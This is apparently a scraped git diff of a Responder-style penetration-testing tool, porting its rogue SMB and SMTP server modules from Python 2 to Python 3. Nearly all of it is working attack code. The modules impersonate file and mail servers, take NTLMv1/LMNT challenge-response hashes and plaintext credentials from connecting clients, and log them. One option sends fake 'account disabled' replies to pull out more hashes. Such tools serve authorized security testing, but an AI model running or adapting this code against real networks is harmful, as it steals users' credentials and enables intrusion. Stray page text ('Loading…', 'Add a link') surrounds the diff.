|
||||
'module': 'SMB',
|
||||
'type': 'NTLMv1',
|
||||
|
|
@ -184,7 +184,7 @@ def IsNT4ClearTxt(data, client):
|
|||
if PassLen > 2:
|
||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
||||
print(text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)))
|
||||
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
||||
|
||||
|
||||
|
|
@ -195,7 +195,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||
while True:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(1)
|
||||
Challenge = RandomChallenge()
|
||||
Challenge = RandomChallenge()
|
||||
|
||||
if not data:
|
||||
break
|
||||
|
|
@ -206,84 +206,86 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
|
||||
##Negotiate proto answer SMBv2.
|
||||
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
|
||||
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
|
||||
t = SMB2NegoAns()
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 1 answer SMBv2.
|
||||
if data[16:18] == "\x00\x00" and data[4:5] == "\xfe":
|
||||
head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
|
||||
t = SMB2NegoAns(Dialect="\x10\x02")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 2 answer SMBv2.
|
||||
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
|
||||
t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge)
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 3 answer SMBv2.
|
||||
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
|
||||
ParseSMBHash(data, self.client_address[0], Challenge)
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
|
||||
t = SMB2Session2Data()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
|
||||
self.request.send(buffer1)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Negotiate Protocol Response smbv1
|
||||
if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None:
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data):
|
||||
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
|
||||
t = SMB2NegoAns()
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1
|
||||
## Session Setup 1 answer SMBv2.
|
||||
if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe":
|
||||
head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'))
|
||||
t = SMB2NegoAns(Dialect="\x10\x02")
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 2 answer SMBv2.
|
||||
if data[16:18] == b"\x01\x00" and data[4:5] == b"\xfe":
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), SessionID=GrabSessionID(data).decode('latin-1'),NTStatus="\x16\x00\x00\xc0")
|
||||
t = SMB2Session1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = self.request.recv(1024)
|
||||
## Session Setup 3 answer SMBv2.
|
||||
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' and data[4:5] == b'\xfe':
|
||||
ParseSMBHash(data, self.client_address[0], Challenge)
|
||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
|
||||
t = SMB2Session2Data()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Negotiate Protocol Response smbv1
|
||||
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None:
|
||||
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)))
|
||||
Body.calculate()
|
||||
|
||||
packet1 = str(Header)+str(Body)
|
||||
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # Session Setup AndX Request smbv1
|
||||
IsNT4ClearTxt(data, self.client_address[0])
|
||||
|
||||
# STATUS_MORE_PROCESSING_REQUIRED
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
|
||||
else:
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
packet1 = str(Header)+str(Body)
|
||||
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
|
||||
self.request.send(Buffer)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
|
||||
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS
|
||||
if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS
|
||||
if Is_Anonymous(data):
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Body = SMBSessEmpty()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
packet1 = str(Header)+str(Body)
|
||||
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
|
||||
self.request.send(Buffer)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
|
||||
else:
|
||||
# Parse NTLMSSP_AUTH packet
|
||||
|
|
@ -291,81 +293,39 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||
|
||||
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
||||
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||
Body = SMBSessEmpty()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
packet1 = str(Header)+str(Body)
|
||||
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
|
||||
self.request.send(Buffer)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
self.ntry += 1
|
||||
continue
|
||||
|
||||
# Send STATUS_SUCCESS
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
Body = SMBSession2Accept()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
packet1 = str(Header)+str(Body)
|
||||
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
|
||||
self.request.send(Buffer)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
|
||||
if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request
|
||||
if data[8:10] == b"\x75\x00" and data[4:5] == b"\xff": # Tree Connect AndX Request
|
||||
ParseShare(data)
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(NetworkRecvBufferPython2or3(data)), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
Body = SMBTreeData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
packet1 = str(Header)+str(Body)
|
||||
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||
|
||||
self.request.send(Buffer)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect
|
||||
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied.
|
||||
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied.
|
||||
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
|
||||
if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff
|
||||
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
|
|
@ -375,33 +335,33 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
|||
try:
|
||||
self.request.settimeout(0.5)
|
||||
data = self.request.recv(1024)
|
||||
Challenge = RandomChallenge()
|
||||
if data[0] == "\x81": #session request 139
|
||||
Challenge = RandomChallenge()
|
||||
if data[0] == b"\x81": #session request 139
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
self.request.send(Buffer)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[8:10] == "\x72\x00": #Negotiate proto answer.
|
||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
||||
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
|
||||
if data[8:10] == b"\x72\x00": #Negotiate proto answer.
|
||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)),Domain="",Key=NetworkRecvBufferPython2or3(Challenge))
|
||||
Body.calculate()
|
||||
Packet = str(head)+str(Body)
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[8:10] == "\x73\x00": #Session Setup AndX Request
|
||||
if data[8:10] == b"\x73\x00": #Session Setup AndX Request
|
||||
if Is_LMNT_Anonymous(data):
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
Packet = str(head)+str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
||||
self.request.send(Buffer)
|
||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
else:
|
||||
ParseLMNTHash(data,self.client_address[0], Challenge)
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||
Packet = str(head) + str(SMBSessEmpty())
|
||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
||||
self.request.send(Buffer)
|
||||
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(1024)
|
||||
except Exception:
|
||||
self.request.close()
|
||||
|
|
|
|||
|
|
@ -16,26 +16,29 @@
|
|||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from base64 import b64decode
|
||||
from SocketServer import BaseRequestHandler
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(SMTPGreeting()))
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPGreeting()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "EHLO" or data[0:4] == "ehlo":
|
||||
self.request.send(str(SMTPAUTH()))
|
||||
if data[0:4] == b'EHLO' or data[0:4] == b'ehlo':
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == "AUTH":
|
||||
AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data)
|
||||
if data[0:4] == b'AUTH':
|
||||
AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data)
|
||||
if AuthPlain:
|
||||
User = filter(None, b64decode(AuthPlain[0]).split('\x00'))
|
||||
Username = User[0]
|
||||
Password = User[1]
|
||||
User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00')))
|
||||
Username = User[0].decode('latin-1')
|
||||
Password = User[1].decode('latin-1')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
|
|
@ -46,19 +49,19 @@ class ESMTP(BaseRequestHandler):
|
|||
'fullhash': Username+":"+Password,
|
||||
})
|
||||
|
||||
else:
|
||||
self.request.send(str(SMTPAUTH1()))
|
||||
else:
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
try:
|
||||
User = filter(None, b64decode(data).split('\x00'))
|
||||
Username = User[0]
|
||||
Password = User[1]
|
||||
User = list(filter(None, b64decode(data).split(b'\x00')))
|
||||
Username = User[0].decode('latin-1')
|
||||
Password = User[1].decode('latin-1')
|
||||
except:
|
||||
Username = b64decode(data)
|
||||
Username = b64decode(data).decode('latin-1')
|
||||
|
||||
self.request.send(str(SMTPAUTH2()))
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
|
|
@ -75,5 +78,4 @@ class ESMTP(BaseRequestHandler):
|
|||
})
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
pass
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue